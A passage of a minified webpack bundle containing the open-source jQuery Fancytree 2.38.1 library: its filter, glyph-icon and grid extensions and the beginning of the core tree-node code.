d==="function"){d=d()}if(d===true){d={}}else if(typeof d==="string"){d={title:d}}d=e.extend({statusNodeType:"nodata",key:t,title:this.options.strings.noData},d);this.getRootNode().addNode(d).match=true}this._callHook("treeStructureChanged",this,"applyFilter");this.enableUpdate(y);return b};e.ui.fancytree._FancytreeClass.prototype.filterNodes=function(e,t){if(typeof t==="boolean"){t={leavesOnly:t};this.warn("Fancytree.filterNodes() leavesOnly option is deprecated since 2.9.0 / 2015-04-19. Use opts.leavesOnly instead.")}return this._applyFilterImpl(e,false,t)};e.ui.fancytree._FancytreeClass.prototype.filterBranches=function(e,t){return this._applyFilterImpl(e,true,t)};e.ui.fancytree._FancytreeClass.prototype.updateFilter=function(){if(this.enableFilter&&this.lastFilterArgs&&this.options.filter.autoApply){this._applyFilterImpl.apply(this,this.lastFilterArgs)}else{this.warn("updateFilter(): no filter active.")}};e.ui.fancytree._FancytreeClass.prototype.clearFilter=function(){var n,i=this.getRootNode()._findDirectChild(t),r=this.options.escapeTitles,s=this.options.enhanceTitle,o=this.enableUpdate(false);if(i){i.remove()}delete this.rootNode.match;delete this.rootNode.subMatchCount;this.visit((function(t){if(t.match&&t.span){n=e(t.span).find(">span.fancytree-title");if(r){n.text(t.title)}else{n.html(t.title)}if(s){s({type:"enhanceTitle"},{node:t,$title:n})}}delete t.match;delete t.subMatchCount;delete t.titleWithHighlight;if(t.$subMatchBadge){t.$subMatchBadge.remove();delete t.$subMatchBadge}if(t._filterAutoExpanded&&t.expanded){t.setExpanded(false,{noAnimation:true,noEvents:true,scrollIntoView:false})}delete t._filterAutoExpanded}));this.enableFilter=false;this.lastFilterArgs=null;this.$div.removeClass("fancytree-ext-filter fancytree-ext-filter-dimm fancytree-ext-filter-hide");this._callHook("treeStructureChanged",this,"clearFilter");this.enableUpdate(o)};e.ui.fancytree._FancytreeClass.prototype.isFilterActive=function(){return!!this.enableFilter};e.ui.fancytree._FancytreeNodeClass.prototype.isMatched=function(){return!(this.tree.enableFilter&&!this.match)};e.ui.fancytree.registerExtension({name:"filter",version:"2.38.1",options:{autoApply:true,autoExpand:false,counter:true,fuzzy:false,hideExpandedCounter:true,hideExpanders:false,highlight:true,leavesOnly:false,nodata:true,mode:"dimm"},nodeLoadChildren:function(e,t){var n=e.tree;return this._superApply(arguments).done((function(){if(n.enableFilter&&n.lastFilterArgs&&e.options.filter.autoApply){n._applyFilterImpl.apply(n,n.lastFilterArgs)}}))},nodeSetExpanded:function(e,t,n){var i=e.node;delete i._filterAutoExpanded;if(!t&&e.options.filter.hideExpandedCounter&&i.$subMatchBadge){i.$subMatchBadge.show()}return this._superApply(arguments)},nodeRenderStatus:function(t){var n,i=t.node,r=t.tree,s=t.options.filter,o=e(i.span).find("span.fancytree-title"),a=e(i[r.statusClassPropName]),l=t.options.enhanceTitle,u=t.options.escapeTitles;n=this._super(t);if(!a.length||!r.enableFilter){return n}a.toggleClass("fancytree-match",!!i.match).toggleClass("fancytree-submatch",!!i.subMatchCount).toggleClass("fancytree-hide",!(i.match||i.subMatchCount));if(s.counter&&i.subMatchCount&&(!i.isExpanded()||!s.hideExpandedCounter)){if(!i.$subMatchBadge){i.$subMatchBadge=e("<span class='fancytree-childcounter'/>");e("span.fancytree-icon, span.fancytree-custom-icon",i.span).append(i.$subMatchBadge)}i.$subMatchBadge.show().text(i.subMatchCount)}else if(i.$subMatchBadge){i.$subMatchBadge.hide()}if(i.span&&(!i.isEditing||!i.isEditing.call(i))){if(i.titleWithHighlight){o.html(i.titleWithHighlight)}else if(u){o.text(i.title)}else{o.html(i.title)}if(l){l({type:"enhanceTitle"},{node:i,$title:o})}}return n}});return e.ui.fancytree}))},494:(e,t,n)=>{var i,r,s; /*! * jquery.fancytree.glyph.js * * Use glyph-fonts, ligature-fonts, or SVG icons instead of icon sprites. * (Extension module for jquery.fancytree.js: https://github.com/mar10/fancytree/) * * Copyright (c) 2008-2021, Martin Wendt (https://wwWendt.de) * * Released under the MIT license * https://github.com/mar10/fancytree/wiki/LicenseInfo * * @version 2.38.1 * @date 2022-01-14T18:41:36Z */(function(o){if(true){!(r=[n(486),n(490)],i=o,s=typeof i==="function"?i.apply(t,r):i,s!==undefined&&(e.exports=s))}else{}})((function(e){"use strict";var t=e.ui.fancytree,n={awesome3:{_addClass:"",checkbox:"icon-check-empty",checkboxSelected:"icon-check",checkboxUnknown:"icon-check icon-muted",dragHelper:"icon-caret-right",dropMarker:"icon-caret-right",error:"icon-exclamation-sign",expanderClosed:"icon-caret-right",expanderLazy:"icon-angle-right",expanderOpen:"icon-caret-down",loading:"icon-refresh icon-spin",nodata:"icon-meh",noExpander:"",radio:"icon-circle-blank",radioSelected:"icon-circle",doc:"icon-file-alt",docOpen:"icon-file-alt",folder:"icon-folder-close-alt",folderOpen:"icon-folder-open-alt"},awesome4:{_addClass:"fa",checkbox:"fa-square-o",checkboxSelected:"fa-check-square-o",checkboxUnknown:"fa-square fancytree-helper-indeterminate-cb",dragHelper:"fa-arrow-right",dropMarker:"fa-long-arrow-right",error:"fa-warning",expanderClosed:"fa-caret-right",expanderLazy:"fa-angle-right",expanderOpen:"fa-caret-down",loading:{html:"<span class='fa fa-spinner fa-pulse' />"},nodata:"fa-meh-o",noExpander:"",radio:"fa-circle-thin",radioSelected:"fa-circle",doc:"fa-file-o",docOpen:"fa-file-o",folder:"fa-folder-o",folderOpen:"fa-folder-open-o"},awesome5:{_addClass:"",checkbox:"far fa-square",checkboxSelected:"far fa-check-square",checkboxUnknown:"fas fa-square fancytree-helper-indeterminate-cb",radio:"far fa-circle",radioSelected:"fas fa-circle",radioUnknown:"far fa-dot-circle",dragHelper:"fas fa-arrow-right",dropMarker:"fas fa-long-arrow-alt-right",error:"fas fa-exclamation-triangle",expanderClosed:"fas fa-caret-right",expanderLazy:"fas fa-angle-right",expanderOpen:"fas fa-caret-down",loading:"fas fa-spinner fa-pulse",nodata:"far fa-meh",noExpander:"",doc:"far fa-file",docOpen:"far fa-file",folder:"far fa-folder",folderOpen:"far fa-folder-open"},bootstrap3:{_addClass:"glyphicon",checkbox:"glyphicon-unchecked",checkboxSelected:"glyphicon-check",checkboxUnknown:"glyphicon-expand fancytree-helper-indeterminate-cb",dragHelper:"glyphicon-play",dropMarker:"glyphicon-arrow-right",error:"glyphicon-warning-sign",expanderClosed:"glyphicon-menu-right",expanderLazy:"glyphicon-menu-right",expanderOpen:"glyphicon-menu-down",loading:"glyphicon-refresh fancytree-helper-spin",nodata:"glyphicon-info-sign",noExpander:"",radio:"glyphicon-remove-circle",radioSelected:"glyphicon-ok-circle",doc:"glyphicon-file",docOpen:"glyphicon-file",folder:"glyphicon-folder-close",folderOpen:"glyphicon-folder-open"},material:{_addClass:"material-icons",checkbox:{text:"check_box_outline_blank"},checkboxSelected:{text:"check_box"},checkboxUnknown:{text:"indeterminate_check_box"},dragHelper:{text:"play_arrow"},dropMarker:{text:"arrow-forward"},error:{text:"warning"},expanderClosed:{text:"chevron_right"},expanderLazy:{text:"last_page"},expanderOpen:{text:"expand_more"},loading:{text:"autorenew",addClass:"fancytree-helper-spin"},nodata:{text:"info"},noExpander:{text:""},radio:{text:"radio_button_unchecked"},radioSelected:{text:"radio_button_checked"},doc:{text:"insert_drive_file"},docOpen:{text:"insert_drive_file"},folder:{text:"folder"},folderOpen:{text:"folder_open"}}};function i(t,n,i,r,s){var o=r.map,a=o[s],l=e(n),u=l.find(".fancytree-childcounter"),c=i+" "+(o._addClass||"");if(typeof a==="function"){a=a.call(this,t,n,s)}if(typeof a==="string"){n.innerHTML="";l.attr("class",c+" "+a).append(u)}else if(a){if(a.text){n.textContent=""+a.text}else if(a.html){n.innerHTML=a.html}else{n.innerHTML=""}l.attr("class",c+" "+(a.addClass||"")).append(u)}}e.ui.fancytree.registerExtension({name:"glyph",version:"2.38.1",options:{preset:null,map:{}},treeInit:function(i){var r=i.tree,s=i.options.glyph;if(s.preset){t.assert(!!n[s.preset],"Invalid value for `options.glyph.preset`: "+s.preset);s.map=e.extend({},n[s.preset],s.map)}else{r.warn("ext-glyph: missing `preset` option.")}this._superApply(arguments);r.$container.addClass("fancytree-ext-glyph")},nodeRenderStatus:function(n){var r,s,o,a,l=n.node,u=e(l.span),c=n.options.glyph;o=this._super(n);if(l.isRootNode()){return o}a=u.children(".fancytree-expander").get(0);if(a){if(l.expanded&&l.hasChildren()){s="expanderOpen"}else if(l.isUndefined()){s="expanderLazy"}else if(l.hasChildren()){s="expanderClosed"}else{s="noExpander"}i(l,a,"fancytree-expander",c,s)}if(l.tr){a=e("td",l.tr).find(".fancytree-checkbox").get(0)}else{a=u.children(".fancytree-checkbox").get(0)}if(a){r=t.evalOption("checkbox",l,l,c,false);if(l.parent&&l.parent.radiogroup||r==="radio"){s=l.selected?"radioSelected":"radio";i(l,a,"fancytree-checkbox fancytree-radio",c,s)}else{s=l.selected?"checkboxSelected":l.partsel?"checkboxUnknown":"checkbox";i(l,a,"fancytree-checkbox",c,s)}}a=u.children(".fancytree-icon").get(0);if(a){if(l.statusNodeType){s=l.statusNodeType}else if(l.folder){s=l.expanded&&l.hasChildren()?"folderOpen":"folder"}else{s=l.expanded?"docOpen":"doc"}i(l,a,"fancytree-icon",c,s)}return o},nodeSetStatus:function(t,n,r,s){var o,a,l=t.options.glyph,u=t.node;o=this._superApply(arguments);if(n==="error"||n==="loading"||n==="nodata"){if(u.parent){a=e(".fancytree-expander",u.span).get(0);if(a){i(u,a,"fancytree-expander",l,n)}}else{a=e(".fancytree-statusnode-"+n,u[this.nodeContainerAttrName]).find(".fancytree-icon").get(0);if(a){i(u,a,"fancytree-icon",l,n)}}}return o}});return e.ui.fancytree}))},492:(e,t,n)=>{var i,r,s; /*! * jquery.fancytree.grid.js * * Render tree as table (aka 'tree grid', 'table tree'). * (Extension module for jquery.fancytree.js: https://github.com/mar10/fancytree/) * * Copyright (c) 2008-2021, Martin Wendt (http://wwWendt.de) * * Released under the MIT license * https://github.com/mar10/fancytree/wiki/LicenseInfo * * @version 2.38.1 * @date 2022-01-14T18:41:36Z */(function(o){if(true){!(r=[n(486),n(490)],i=o,s=typeof i==="function"?i.apply(t,r):i,s!==undefined&&(e.exports=s))}else{}})((function(e){"use strict";var t=e.ui.fancytree,n=t.assert,i="wheel";function r(t){var n=10,i=e(t),r=i.position(),s=e("<div>",{class:"fancytree-scrollbar",css:{border:"1px solid gray",position:"absolute",top:r.top,left:r.left+i.width(),width:n,height:i.find("tbody").height()}});i.css({"margin-right":n}).after(s);return s}e.ui.fancytree._FancytreeClass.prototype._renumberReset=function(){this.visibleNodeList=null};e.ui.fancytree._FancytreeClass.prototype._fixStart=function(e,t){var n=this.viewport,i=this.visibleNodeList;e=e==null?n.start:e;var r=e;if(i){e=Math.min(e,this.visibleNodeList.length-n.count);e=Math.max(e,0,e);if(e!==r){this.debug("Adjust start "+r+" => "+e);if(t){n.start=e}}}return e};e.ui.fancytree._FancytreeClass.prototype._shiftViewport=function(e,t){this.debug("_shiftViewport",e,t);switch(e){case"vscroll":if(t){this.setViewport({start:this.viewport.start+(t>0?1:-1)})}break;default:throw Error("Invalid mode: "+e)}};e.ui.fancytree._FancytreeClass.prototype.isViewportBottom=function(){return this.viewport.start+this.viewport.count>=this.visibleNodeList.length};e.ui.fancytree._FancytreeClass.prototype.setViewport=function(t){if(typeof t==="boolean"){this.debug("setViewport( "+t+")");return this.setViewport({enabled:t})}t=t||{};var n,i,r,s,o="",a=this.viewport,l={start:0,count:0,enabled:null,force:null},u=e.extend({},a),c=this.tbody.children,f=c.length;this.debug("setViewport("+t.start+", +"+t.count+")");if(t.force){o+="force";l.force=true}t.enabled=t.enabled!==false;if(a.enabled!==t.enabled){o+="enable";u.enabled=l.enabled=t.enabled}r=t.start==null?a.start:Math.max(0,+t.start);r=this._fixStart(r,false);if(a.start!==+r){o+="start";u.start=r;l.start=r-a.start}i=t.count==null?a.count:Math.max(1,+t.count);if(a.count!==+i){o+="count";u.count=i;l.count=i-a.count}if(!o){return false}var d={next:u,diff:l,reason:o,scrollOnly:o==="start"};if(!t.noEvents&&this._triggerTreeEvent("beforeUpdateViewport",null,d)===false){return false}d.prev=e.extend({},a);delete d.next;a.start=u.start;a.count=u.count;var h=this.isVpUpdating;if(f>i){for(n=0;n<f-i;n++){delete this.tbody.lastChild.ftnode;this.tbody.removeChild(this.tbody.lastChild)}}else if(f<i){for(n=0;n<i-f;n++){s=this.rowFragment.firstChild.cloneNode(true);this.tbody.appendChild(s)}}f=c.length;var p=t.force;this.redrawViewport(p);if(!t.noEvents){this._triggerTreeEvent("updateViewport",null,d)}this.isVpUpdating=h;return true};e.ui.fancytree._FancytreeClass.prototype.adjustViewportSize=function(){n(this.scrollWrapper,"No parent div.fancytree-grid-container found.");if(this.isVpUpdating){this.debug("Ignoring adjustViewportSize() during VP update.");return}var e=this.$container,t=this.scrollWrapper,i=e.find(">tbody>tr").first().height()||0,r=e.height(),s=r-this.viewport.count*i,o=t.offsetHeight,a=o-s,l=i?Math.floor(a/i):0;this.setViewport({count:l})};e.ui.fancytree._FancytreeClass.prototype._initViewportWrapper=function(){var e=this;if(i==="wheel"){this.$container.on("wheel",(function(t){var n=t.originalEvent,i=e.viewport,r=n.deltaY;if(!r||t.altKey||t.ctrlKey||t.metaKey||t.shiftKey){return true}if(r<0&&i.start===0){return true}if(r>0&&e.isViewportBottom()){return true}e.debug("Got 'wheel' event: dy="+r+", mode="+n.deltaMode);e._shiftViewport("vscroll",r);return false}))}};e.ui.fancytree._FancytreeClass.prototype._renumberVisibleNodes=function(t,n){if((!this.options.viewport.enabled||this.visibleNodeList!=null)&&t!==true){return false}this.debugTime("_renumberVisibleNodes()");var i=0,r=this.visibleNodeList?this.visibleNodeList.length:0,s=this.visibleNodeList=[];this.visit((function(e){e._rowIdx=null}));this.visitRows((function(e){e._rowIdx=i++;s.push(e)}));this.debugTimeEnd("_renumberVisibleNodes()");if(i!==r){this._triggerTreeEvent("updateViewport",null,{reason:"renumber",diff:{start:0,count:0,enabled:null,force:null},next:e.extend({},this.viewport)})}};e.ui.fancytree._FancytreeClass.prototype.redrawViewport=function(e){if(this._enableUpdate===false){return}this.debugTime("redrawViewport()");this._renumberVisibleNodes(e);this._fixStart(null,true);var t=0,n=this.viewport,i=this.visibleNodeList,r=n.start,s=r+n.count,o,a=0,l=0,u=this.tbody.children,c=this.isVpUpdating;this.visit((function(e){e.span=null;if(e.tr){delete e.tr.ftnode;e.tr=null}}));for(t=r;t<s;t++){var f=i[t];o=u[l];if(!f){var d=this.rowFragment.firstChild.cloneNode(true);this.tbody.replaceChild(d,o);l++;continue}if(o!==f.tr){f.tr=o;f.render();a++}l++}this.isVpUpdating=c;this.debugTimeEnd("redrawViewport()")};e.ui.fancytree.registerExtension({name:"grid",version:"2.38.1",options:{checkboxColumnIdx:null,indentation:16,mergeStatusColumns:true,nodeColumnIdx:0},treeInit:function(t){var i,r,s,o,a,l=t.tree,u=t.options,c=u.table,f=l.widget.element,d=f.parent(".fancytree-grid-container");if(e.inArray("table",u.extensions)>=0){e.error("ext-grid and ext-table are mutually exclusive.")}if(u.renderStatusColumns===true){u.renderStatusColumns=u.renderColumns}f.addClass("fancytree-container fancytree-ext-grid fancytree-ext-table");a=f.find(">tbody");if(!a.length){if(f.find(">tr").length){e.error("Expected table > tbody > tr. If you see this, please open an issue.")}a=e("<tbody>").appendTo(f)}l.tbody=a[0];r=e("thead >tr",f).last().find(">th").length;o=a.children("tr").first();if(o.length){s=o.children("td").length;if(r&&s!==r){l.warn("Column count mismatch between thead ("+r+") and tbody ("+s+"): using tbody.");r=s}o=o.clone()}else{n(r>=1,"Need either <thead> or <tbody> with <td> elements to determine column count.");o=e("<tr />");for(i=0;i<r;i++){o.append("<td />")}}o.find(">td").eq(c.nodeColumnIdx).html("<span class='fancytree-node' />");if(u.aria){o.attr("role","row");o.find("td").attr("role","gridcell")}l.rowFragment=document.createDocumentFragment();l.rowFragment.appendChild(o.get(0));a.empty();l.statusClassPropName="tr";l.ariaPropName="tr";this.nodeContainerAttrName="tr";l.$container=f;if(d.length){l.scrollWrapper=d[0];this._initViewportWrapper()}else{l.scrollWrapper=null}e.ui.fancytree.overrideMethod(e.ui.fancytree._FancytreeNodeClass.prototype,"scrollIntoView",(function(t,n){var i=this,r=i.tree,s=n&&n.topNode,o=r.viewport,a=o?o.start:null;if(!r.viewport){return i._super.apply(this,arguments)}if(i._rowIdx<o.start){a=i._rowIdx}else if(i._rowIdx>=o.start+o.count){a=i._rowIdx-o.count+1}if(s&&s._rowIdx<a){a=s._rowIdx}r.setViewport({start:a});return e.Deferred((function(){this.resolveWith(i)})).promise()}));l.visibleNodeList=null;l.viewport={enabled:true,start:0,count:10,left:0,right:0};this.setViewport(e.extend({autoSize:true,start:0,count:10,left:0,right:0,keepEmptyRows:true,noEvents:true},u.viewport));this._superApply(arguments);e(l.rootNode.ul).remove();l.rootNode.ul=null;this.$container.attr("tabindex",u.tabindex);if(u.aria){l.$container.attr("role","treegrid").attr("aria-readonly",true)}},nodeKeydown:function(e){var n=null,i=null,r=e.tree,s=e.node,o=r.visibleNodeList,a=r.viewport,l=e.originalEvent,u=t.eventToString(l);r.debug("nodeKeydown("+u+")");switch(u){case"home":case"meta+up":i=0;break;case"end":case"meta+down":i=o.length-1;break;case"pageup":i=s._rowIdx-a.count;break;case"pagedown":i=s._rowIdx+a.count;break}if(i!=null){i=Math.min(Math.max(0,i),o.length-1);n=o[i];n.makeVisible();n.setActive();return false}return this._superApply(arguments)},nodeRemoveChildMarkup:function(e){var t=e.node;t.visit((function(e){if(e.tr){delete e.tr.ftnode;e.tr=null;e.span=null}}))},nodeRemoveMarkup:function(e){var t=e.node;if(t.tr){delete t.tr.ftnode;t.tr=null;t.span=null}this.nodeRemoveChildMarkup(e)},nodeRender:function(t,i,r,s,o){var a,l,u,c,f,d=t.tree,h=t.node;if(d._enableUpdate===false){h.debug("nodeRender(): _enableUpdate: false");return}var p=t.options,g=d.viewport.enabled?d.viewport:null,v=g&&g.start>0?+g.start:0,m=g?v+g.count-1:0,y=!h.parent;n(g);if(!o){if(y&&g){h.debug("nodeRender(): redrawViewport() instead");return t.tree.redrawViewport()}t.hasCollapsedParents=h.parent&&!h.parent.expanded;if(g){d._renumberVisibleNodes()}}if(!y){c=g&&(h._rowIdx<v||h._rowIdx>=v+g.count);if(c){return}if(!h.tr){if(h._rowIdx==null){return}h.debug("nodeRender(): creating new TR.");h.tr=d.tbody.rows[h._rowIdx-v]}h.tr.ftnode=h;if(h.key&&p.generateIds){h.tr.id=p.idPrefix+h.key}h.span=e("span.fancytree-node",h.tr).get(0);this.nodeRenderTitle(t);if(p.createNode){p.createNode.call(this,{type:"createNode"},t)}}if(p.renderNode){p.renderNode.call(d,{type:"renderNode"},t)}a=h.children;n(!r,"deep is not supported");if(a&&(y||r||h.expanded)){for(l=0,u=a.length;l<u;l++){var b=a[l];if(g&&b._rowIdx>m){a[l].debug("BREAK render children loop");return false}f=e.extend({},t,{node:b});f.hasCollapsedParents=f.hasCollapsedParents||!h.expanded;this.nodeRender(f,i,r,s,true)}}},nodeRenderTitle:function(t,n){var i,r,s=t.tree,o=t.node,a=t.options,l=o.isStatusNode();r=this._super(t,n);if(o.isRootNode()){return r}if(a.checkbox&&!l&&a.table.checkboxColumnIdx!=null){i=e("span.fancytree-checkbox",o.span);e(o.tr).find("td").eq(+a.table.checkboxColumnIdx).html(i)}this.nodeRenderStatus(t);if(l){if(a.renderStatusColumns){a.renderStatusColumns.call(s,{type:"renderStatusColumns"},t)}else if(a.grid.mergeStatusColumns&&o.isTopLevel()){o.warn("mergeStatusColumns is not yet implemented.")}}else if(a.renderColumns){a.renderColumns.call(s,{type:"renderColumns"},t)}return r},nodeRenderStatus:function(t){var n,i=t.node,r=t.options;this._super(t);e(i.tr).removeClass("fancytree-node");n=(i.getLevel()-1)*r.table.indentation;if(r.rtl){e(i.span).css({paddingRight:n+"px"})}else{e(i.span).css({paddingLeft:n+"px"})}},nodeSetExpanded:function(t,n,i){var r=t.node,s=t.tree;n=n!==false;if(r.expanded&&n||!r.expanded&&!n){return this._superApply(arguments)}var o=new e.Deferred,a=e.extend({},i,{noEvents:true,noAnimation:true});i=i||{};function l(e){s.redrawViewport(true);if(e){if(n&&t.options.autoScroll&&!i.noAnimation&&r.hasChildren()){r.getLastChild().scrollIntoView(true,{topNode:r}).always((function(){if(!i.noEvents){s._triggerNodeEvent(n?"expand":"collapse",t)}o.resolveWith(r)}))}else{if(!i.noEvents){s._triggerNodeEvent(n?"expand":"collapse",t)}o.resolveWith(r)}}else{if(!i.noEvents){s._triggerNodeEvent(n?"expand":"collapse",t)}o.rejectWith(r)}}this._super(t,n,a).done((function(){l(true)})).fail((function(){l(false)}));return o.promise()},treeClear:function(e){return this._superApply(arguments)},treeDestroy:function(e){this.$container.find("tbody").empty();this.$container.off("wheel");if(this.$source){this.$source.removeClass("fancytree-helper-hidden")}this._renumberReset();return this._superApply(arguments)},treeStructureChanged:function(e,t){if(t!=="addNode"||e.tree.visibleNodeList){this._renumberReset()}}});return e.ui.fancytree}))},490:(e,t,n)=>{var i,r,s; /*! * jquery.fancytree.js * Tree view control with support for lazy loading and much more. * https://github.com/mar10/fancytree/ * * Copyright (c) 2008-2021, Martin Wendt (https://wwWendt.de) * Released under the MIT license * https://github.com/mar10/fancytree/wiki/LicenseInfo * * @version 2.38.1 * @date 2022-01-14T18:41:36Z */(function(o){if(true){!(r=[n(486),n(491)],i=o,s=typeof i==="function"?i.apply(t,r):i,s!==undefined&&(e.exports=s))}else{}})((function(e){"use strict";if(e.ui&&e.ui.fancytree){e.ui.fancytree.warn("Fancytree: ignored duplicate include");return}var t,n,i=null,r=new RegExp(/\.|\//),s=/[&<>"'/]/g,o=/[<>"'/]/g,a="$recursive_request",l="$request_target_invalid",u={"&":"&","<":"<",">":">",'"':""","'":"'","/":"/"},c={16:true,17:true,18:true},f={8:"backspace",9:"tab",10:"return",13:"return",19:"pause",20:"capslock",27:"esc",32:"space",33:"pageup",34:"pagedown",35:"end",36:"home",37:"left",38:"up",39:"right",40:"down",45:"insert",46:"del",59:";",61:"=",96:"0",97:"1",98:"2",99:"3",100:"4",101:"5",102:"6",103:"7",104:"8",105:"9",106:"*",107:"+",109:"-",110:".",111:"/",112:"f1",113:"f2",114:"f3",115:"f4",116:"f5",117:"f6",118:"f7",119:"f8",120:"f9",121:"f10",122:"f11",123:"f12",144:"numlock",145:"scroll",173:"-",186:";",187:"=",188:",",189:"-",190:".",191:"/",192:"`",219:"[",220:"\\",221:"]",222:"'"},d={16:"shift",17:"ctrl",18:"alt",91:"meta",93:"meta"},h={0:"",1:"left",2:"middle",3:"right"},p="active expanded focus folder lazy radiogroup selected unselectable unselectableIgnore".split(" "),g={},v="columns types".split(" "),m="checkbox expanded extraClasses folder icon iconTooltip key lazy partsel radiogroup refKey selected statusNodeType title tooltip type unselectable unselectableIgnore unselectableStatus".split(" "),y={},b={},_={active:true,children:true,data:true,focus:true};for(t=0;t<p.length;t++){g[p[t]]=true}for(t=0;t<m.length;t++){n=m[t];y[n]=true;if(n!==n.toLowerCase()){b[n.toLowerCase()]=n}}function w(t,n){if(!t){n=n?": "+n:"";n="Fancytree assertion failed"+n;e.ui.fancytree.error(n);e.error(n)}}function x(e,t){return Object.prototype.hasOwnProperty.call(e,t)}function k(e){return typeof e==="function"}function C(e){return e==null?"":e.trim()}var E=Array.isArray;w(e.ui,"Fancytree requires jQuery UI (http://jqueryui.com)");function A(e,t){var n,i,r=window.console?window.console[e]:null;if(r){try{r.apply(window.console,t)}catch(e){i="";for(n=0;n<t.length;n++){i+=t[n]}r(i)}}}if(!Date.now){Date.now=function e(){return(new Date).getTime()}}function T(e){return!!(e.tree&&e.statusNodeType!==undefined)}function S(t,n,i,r){var s,o,a,l=e.map(C(t).split("."),(function(e){return parseInt(e,10)})),u=e.map(Array.prototype.slice.call(arguments,1),(function(e){return parseInt(e,10)}));for(s=0;s<u.length;s++){o=l[s]||0;a=u[s]||0;if(o!==a){return o>a}}return true}function j(){var t,n,i,r,s,o=arguments[0]||{},a=1,l=arguments.length;if(typeof o!=="object"&&!k(o)){o={}}if(a===l){throw Error("need at least two args")}for(;a<l;a++){if((t=arguments[a])!=null){for(n in t){if(x(t,n)){i=o[n];r=t[n];if(o===r){continue}if(r&&e.isPlainObject(r)){s=i&&e.isPlainObject(i)?i:{};o[n]=j(s,r)}else if(r!==undefined){o[n]=r}}}}}return o}function D(e,t,n,i,r){var s=function(){var n=t[e],s=i[e],o=t.ext[r],a=function(){return n.apply(t,arguments)},l=function(e){return n.apply(t,e)};return function(){var e=t._local,n=t._super,i=t._superApply;try{t._local=o;t._super=a;t._superApply=l;return s.apply(t,arguments)}finally{t._local=e;t._super=n;t._superApply=i}}}();return s}function O(t,n,i,r){for(var s in i){if(typeof i[s]==="function"){if(typeof t[s]==="function"){t[s]=D(s,t,n,i,r)}else if(s.charAt(0)==="_"){t.ext[r][s]=D(s,t,n,i,r)}else{e.error("Could not override tree."+s+". Use prefix '_' to create tree."+r+"._"+s)}}else{if(s!=="options"){t.ext[r][s]=i[s]}}}}function N(t,n){if(t===undefined){return e.Deferred((function(){this.resolve()})).promise()}return e.Deferred((function(){this.resolveWith(t,n)})).promise()}function P(t,n){if(t===undefined){return e.Deferred((function(){this.reject()})).promise()}return e.Deferred((function(){this.rejectWith(t,n)})).promise()}function L(e,t){return function(){e.resolveWith(t)}}function F(t){var n=e.extend({},t.data()),i=n.json;delete n.fancytree;delete n.uiFancytree;if(i){delete n.json;n=e.extend(n,i)}return n}function I(e){return(""+e).replace(o,(function(e){return u[e]}))}function M(e){e=e.toLowerCase();return function(t){return t.title.toLowerCase().indexOf(e)>=0}}function $(e){var t=new RegExp("^"+e,"i");return function(e){return t.test(e.title)}}function R(t,n){var r,s,o,a;this.parent=t;this.tree=t.tree;this.ul=null;this.li=null;this.statusNodeType=null;this._isLoading=false;this._error=null;this.data={};for(r=0,s=m.length;r<s;r++){o=m[r];this[o]=n[o]}if(this.unselectableIgnore!=null||this.unselectableStatus!=null){this.unselectable=true}if(n.hideCheckbox){e.error("'hideCheckbox' node option was removed in v2.23.0: use 'checkbox: false'")}if(n.data){e.extend(this.data,n.data)}for(o in n){if(!y[o]&&(this.tree.options.copyFunctionsToData||!k(n[o]))&&!_[o]){this.data[o]=n[o]}}if(this.key==null){if(this.tree.options.defaultKey){this.key=""+this.tree.options.defaultKey(this);w(this.key,"defaultKey() must return a unique key")}else{this.key="_"+i._nextNodeKey++}}else{this.key=""+this.key}if(n.active){w(this.tree.activeNode===null,"only one active node allowed");this.tree.activeNode=this}if(n.selected){this.tree.lastSelectedNode=this}a=n.children;if(a){if(a.length){this._setChildren(a)}else{this.children=this.lazy?[]:null}}else{this.children=null}this.tree._callHook("treeRegisterNode",this.tree,true,this)}R.prototype={_findDirectChild:function(e){var t,n,i=this.children;if(i){if(typeof e==="string"){for(t=0,n=i.length;t<n;t++){if(i[t].key===e){return i[t]}}}else if(typeof e==="number"){return this.children[e]}else if(e.parent===this){return e}}return null},_setChildren:function(e){w(e&&(!this.children||this.children.length===0),"only init supported");this.children=[];for(var t=0,n=e.length;t<n;t++){this.children.push(new R(this,e[t]))}this.tree._callHook("treeStructureChanged",this.tree,"setChildren")},addChildren:function(t,n){var i,r,s,o=this.getFirstChild(),a=this.getLastChild(),l=null,u=[];if(e.isPlainObject(t)){t=[t]}if(!this.children){this.children=[]}for(i=0,r=t.length;i<r;i++){u.push(new R(this,t[i]))}l=u[0];if(n==null){this.children=this.children.concat(u)}else{n=this._findDirectChild(n);s=e.inArray(n,this.children);w(s>=0,"insertBefore must be an existing child");this.children.splice.apply(this.children,[s,0].concat(u))}if(o&&!n){for(i=0,r=u.length;i<r;i++){u[i].render()}if(o!==this.getFirstChild()){o.renderStatus()}if(a!==this.getLastChild()){a.renderStatus()}}else if(!this.parent||this.parent.ul||this.tr){this.render()}if(this.tree.options.selectMode===3){this.fixSelection3FromEndNodes()}this.triggerModifyChild("add",u.length===1?u[0]:null);return l},addClass:function(e){return this.toggleClass(e,true)},addNode:function(e,t){if(t===undefined||t==="over"){t="child"}switch(t){case"after":return this.getParent().addChildren(e,this.getNextSibling());case"before":return this.getParent().addChildren(e,this);case"firstChild":var n=this.children?this.children[0]:null;return this.addChildren(e,n);case"child":case"over":return this.addChildren(e)}w(false,"Invalid mode: "+t)},addPagingNode:function(t,n){var i,r;n=n||"child";if(t===false){for(i=this.children.length-1;i>=0;i--){r=this.children[i];if(r.statusNodeType==="paging"){this.removeChild(r)}}this.partload=false;return}t=e.extend({title:this.tree.options.strings.moreData,statusNodeType:"paging",icon:false},t);this.partload=true;return this.addNode(t,n)},appendSibling:function(e){return this.addNode(e,"after")},applyCommand:function(e,t){return this.tree.applyCommand(e,this,t)},applyPatch:function(e){if(e===null){this.remove();return N(this)}var t,n,i,r={children:true,expanded:true,parent:true};for(t in e){if(x(e,t)){i=e[t];if(!r[t]&&!k(i)){if(y[t]){this[t]=i}else{this.data[t]=i}}}}if(x(e,"children")){this.removeChildren();if(e.children){this._setChildren(e.children)}}if(this.isVisible()){this.renderTitle();this.renderStatus()}if(x(e,"expanded")){n=this.setExpanded(e.expanded)}else{n=N(this)}return n},collapseSiblings:function(){return this.tree._callHook("nodeCollapseSiblings",this)},copyTo:function(e,t,n){return e.addNode(this.toDict(true,n),t)},countChildren:function(e){var t=this.children,n,i,r;if(!t){return 0}r=t.length;if(e!==false){for(n=0,i=r;n<i;n++){r+=t[n].countChildren()}}return 